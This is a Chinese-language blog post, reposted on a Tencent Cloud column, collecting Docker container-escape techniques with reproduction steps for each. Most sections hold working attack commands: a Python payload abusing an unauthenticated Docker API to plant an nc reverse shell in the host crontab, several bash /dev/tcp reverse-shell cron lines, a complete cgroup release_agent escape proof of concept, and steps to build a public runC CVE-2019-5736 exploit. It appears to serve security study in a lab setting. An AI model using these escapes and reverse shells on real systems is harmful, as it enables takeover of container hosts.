前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >浅析docker的多种逃逸方法

浅析docker的多种逃逸方法

作者头像
UzJu@菜菜狗
发布2022-04-25 20:30:55
发布2022-04-25 20:30:55
6.4K00
代码可运行
举报
文章被收录于专栏:UzJu和菜菜狗UzJu和菜菜狗
运行总次数:0
代码可运行

Docker逃逸合集

Docker实现原理:https://zone.huoxian.cn/d/1034-docker

一、Docker逃逸

  • 1、docker daemon api未授权访问
  • 2、privileged 特权模式启动容器
    • 2.1、特权模式与非特权模式的区别
      • 2.1.1、Linux Capabilities
      • 2.1.2、Linux敏感目录
      • 2.1.3、任何内核文件都是可读写
      • 2.1.4、AppArmor与Seccomp
      • 2.1.5、cgroup读写
      • 2.1.6、/dev
      • 2.1.7、SELinux
      • 2.1.8、参考
    • 2.2、复现
      • 1、启动特权容器
      • 2、挂在宿主机目录
      • 3、写crontab 反弹shell
  • 3、挂载docker.sock
    • 3.1、什么是docker.sock
    • 3.2、创建docker
    • 3.3、复现
    • 3.4、反弹shell
  • 4、挂载宿主机根目录
    • 4.1、反弹shell
  • 5、Cgroup执行宿主机系统命令
    • 5.1、cgroup
    • 5.2、notify_on_release
  • 6、runC逃逸-CVE-2019-5736
  • 影响版本
  • 参考文章

一、Docker逃逸

1、docker daemon api未授权访问

漏洞原理:在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果我们使用HTTP的方式访问会返回404 利用思路:通过挂在宿主机的目录,写定时任务获取SHELL,从而逃逸

代码语言:javascript
代码运行次数:0
运行
复制
git clone https://github.com/vulhub/vulhub.git  
代码语言:javascript
代码运行次数:0
运行
复制
docker-compose build docker-compose up -d  
代码语言:javascript
代码运行次数:0
运行
复制
docker ps -a | grep rce  

访问ip:2375/version

payload

代码语言:javascript
代码运行次数:0
运行
复制
import docker  
client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) print(data) 

2、privileged 特权模式启动容器

2.1、特权模式与非特权模式的区别

2.1.1、Linux Capabilities
  • 普通模式下容器内进程只可以使用有限的一些 Linux Capabilities

在普通模式下可以手动自定义--cap-add参数自定义

  • 特权模式下的容器内进程可以使用所有的 linux capabilities

特权模式下,容器内进程拥有使用所有的 linux capabilities 的能力,但是, 不表示进程就一定有使用某些 linux capabilities 的权限。比如,如果容器是以非 root 用户启动的, 就算它是以特权模式启动的容器,也不表示它就能够做一些无权限做的事情

2.1.2、Linux敏感目录
  • 普通模式下,部分内核模块路径比如 /proc 下的一些目录需要阻止写入、有些又需要允许读写, 这些文件目录将会以 tmpfs 文件系统的方式挂载到容器中,以实现目录 mask 的需求
  • 特权模式下,这些目录将不再以 tmpfs 文件系统的方式挂载

Tips: Tmpfs说明:https://blog.51cto.com/u_11495268/2424414

2.1.3、任何内核文件都是可读写
  • 普通模式下,部分内核文件系统(sysfs、procfs)会被以只读的方式挂载到容器中,以阻止容器内进程随意修改系统内核
  • 特权模式下,内核文件系统将不再以只读的方式被挂载
2.1.4、AppArmor与Seccomp

Tips

AppArmor: https://www.cnblogs.com/zlhff/p/5464862.htmlSeccomp: https://en.wikipedia.org/wiki/Seccomp

  • 普通模式下,可以通过配置 AppArmor 或 Seccomp 相关安全选项 (如果未配置的话,容器引擎默认也会启用一些对应的默认配置) 对容器进行加固
  • 特权模式下,这些 AppArmor 或 Seccomp 相关配置将不再生效
2.1.5、cgroup读写
  • 默认模式下,只能以只读模式操作 cgroup
  • 特权模式下,将可以对 cgroup 进行读写操作
2.1.6、/dev
  • 普通模式下,容器内 /dev 目录下看不到节点 /dev 目录下特有的 devices
  • 特权模式下,容器内的 /dev 目录会包含这些来自节点 /dev 目录下的那些内容
2.1.7、SELinux
  • 特权模式下,SELinux 相关的安全加固配置将被禁用。
  • 普通模式下也可以通过对应的安全选项来禁用 SELinux 特性。
2.1.8、参考

2.2、复现

1、启动特权容器
代码语言:javascript
代码运行次数:0
运行
复制
docker run -it --privileged ubuntu:18.04  
2、挂在宿主机目录
代码语言:javascript
代码运行次数:0
运行
复制
fdisk -l  

可以直接挂载宿主机的磁盘

代码语言:javascript
代码运行次数:0
运行
复制
mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/  

查看宿主机的/etc/passwd

查看root目录

Tips: chroot命令 chroot命令 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以/,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置。 把根目录换成指定的目的目录

Ps: 在这遇到一个问题 https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/参考了这篇文章,但是这篇文章说,使用以下命令 cat /proc/self/status | grep CapEff如果返回的值为0000003fffffffff就是特权模式启动,但是我在我的centos中发现返回的值为0000001fffffffff,我也是特权模式启动

可是在Centos中的值如下图

随后在ubuntu21.10的宿主机系统下载docker镜像ubuntu18.04,查看后发现结果为0000003fffffffff

通过capsh命令可以看到,为0000001fffffffff和为0000003fffffffff就只相差一点

3、写crontab 反弹shell
代码语言:javascript
代码运行次数:0
运行
复制
crontab -e * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/ >&  

等待反弹即可

3、挂载docker.sock

3.1、什么是docker.sock

/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。

另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。

Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)

3.2、创建docker

代码语言:javascript
代码运行次数:0
运行
复制
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04  

随后在docker容器中安装docker

代码语言:javascript
代码运行次数:0
运行
复制
# ubuntu 18.04安装docker 
sudo apt-get update 
# 安装依赖包 
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common 
# 添加 Docker 的官方 GPG 密钥 
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - 
# 验证您现在是否拥有带有指纹的密钥 
sudo apt-key fingerprint 0EBFCD88 
# 设置稳定版仓库 
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" 
# 更新 
$ sudo apt-get update 
# 安装最新的Docker-ce  
sudo apt-get install docker-ce 
# 启动 
sudo systemctl enable docker 
sudo systemctl start docker 

安装完成之后我们使用docker ps就可以看到宿主机上的容器了

3.3、复现

将宿主机的根目录挂载到容器

代码语言:javascript
代码运行次数:0
运行
复制
docker run -it -v /:/uzju ubuntu:18.04 /bin/bash  
chroot uzju  

可以看到宿主机root目录上的图片,反弹shell也是修改crontab即可

3.4、反弹shell

通过修改Crontab定时任务来反弹shell

代码语言:javascript
代码运行次数:0
运行
复制
crontab -e   
* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/ >&  

4、挂载宿主机根目录

如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限

代码语言:javascript
代码运行次数:0
运行
复制
docker run -it -v /:/uzju/ ubuntu:18.04 chroot /uzju/  

4.1、反弹shell

还是一样可以通过crontab反弹shell

代码语言:javascript
代码运行次数:0
运行
复制
* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/ >&  

5、Cgroup执行宿主机系统命令

通过notify_on_release实现容器逃逸 条件

  • 以root用户身份在容器内运行
  • 使用SYS_ADMINLinux功能运行
  • 缺少AppArmor配置文件,否则将允许mountsyscall
  • cgroup v1虚拟文件系统必须以读写方式安装在容器内
代码语言:javascript
代码运行次数:0
运行
复制
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04  

POC

代码语言:javascript
代码运行次数:0
运行
复制
# In the container 
# 挂载宿主机cgroup,自定义一个cgroup,/tmp/cgrp/x 
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x 
# 设置/tmp/cgrp/x的cgroup的notify_no_release和release_agent 
#  设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中perdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agent 
echo 1 > /tmp/cgrp/x/notify_on_release 
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` 
echo "$host_path/cmd" > /tmp/cgrp/release_agent 
# 写入自定义命令 
echo '#!/bin/sh' > /cmd 
# 结果在当前目录的output文件中 
echo "ps aux > $host_path/output" >> /cmd 
chmod a+x /cmd 
# 执行完sh -c之后,sh进程自动退出,cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" 

随后查看cat output

5.1、cgroup

cgroups 是Linux内核提供的一种可以限制单个进程或者多个进程所使用资源的机制,可以对 cpu,内存等资源实现精细化的控制,目前越来越火的轻量级容器 Docker 就使用了 cgroups 提供的资源限制能力来完成cpu,内存等部分的资源控制。

另外,开发者也可以使用 cgroups 提供的精细化控制能力,限制某一个或者某一组进程的资源使用。比如在一个既部署了前端 web 服务,也部署了后端计算模块的八核服务器上,可以使用 cgroups 限制 web server 仅可以使用其中的六个核,把剩下的两个核留给后端计算模块。

Cgroup主要限制的资源

  • CPU
  • 内存
  • 网络
  • 磁盘I/O

5.2、notify_on_release

如果cgroup中使能notify_on_release,cgroup中的最后一个进程被移除,最后一个子cgroup也被删除时,cgroup会主动通知kernel。接收到消息的kernel会执行release_agent文件中指定的程序。notify_on_release默认是关闭的,release_agent的内容默认为空,子cgroup在创建时会继承父cgroup中notify_on_relase和release_agent的属性。所以这两个文件只存在于cgroupfs的顶层目录中。

cgroup的每一个subsystem都有参数notify_on_release,这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用,当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。

https://www.freebuf.com/vuls/264843.html

6、runC逃逸-CVE-2019-5736

影响版本

docker version <=18.09.2 RunC version <=1.0-rc6

代码语言:javascript
代码运行次数:0
运行
复制
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh  

下载Exploit

代码语言:javascript
代码运行次数:0
运行
复制
git clone https://github.com/Frichetten/CVE-2019-5736-PoC CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go  

下载完之后改一下main.go

这里改成在宿主机的/tmp写一个UzJu

随后传入容器中

然后我们在宿主机的/tmp目录中写一个UzJu

运行exp

然后我们在宿主机尝试去exec进入该容器

可以看到执行成功了

参考文章

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Docker逃逸合集
  • 一、Docker逃逸
    • 1、docker daemon api未授权访问
    • 2、privileged 特权模式启动容器
      • 2.1、特权模式与非特权模式的区别
      • 2.2、复现
    • 3、挂载docker.sock
      • 3.1、什么是docker.sock
      • 3.2、创建docker
      • 3.3、复现
      • 3.4、反弹shell
    • 4、挂载宿主机根目录
      • 4.1、反弹shell
    • 5、Cgroup执行宿主机系统命令
      • 5.1、cgroup
      • 5.2、notify_on_release
    • 6、runC逃逸-CVE-2019-5736
    • 影响版本
  • 参考文章
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档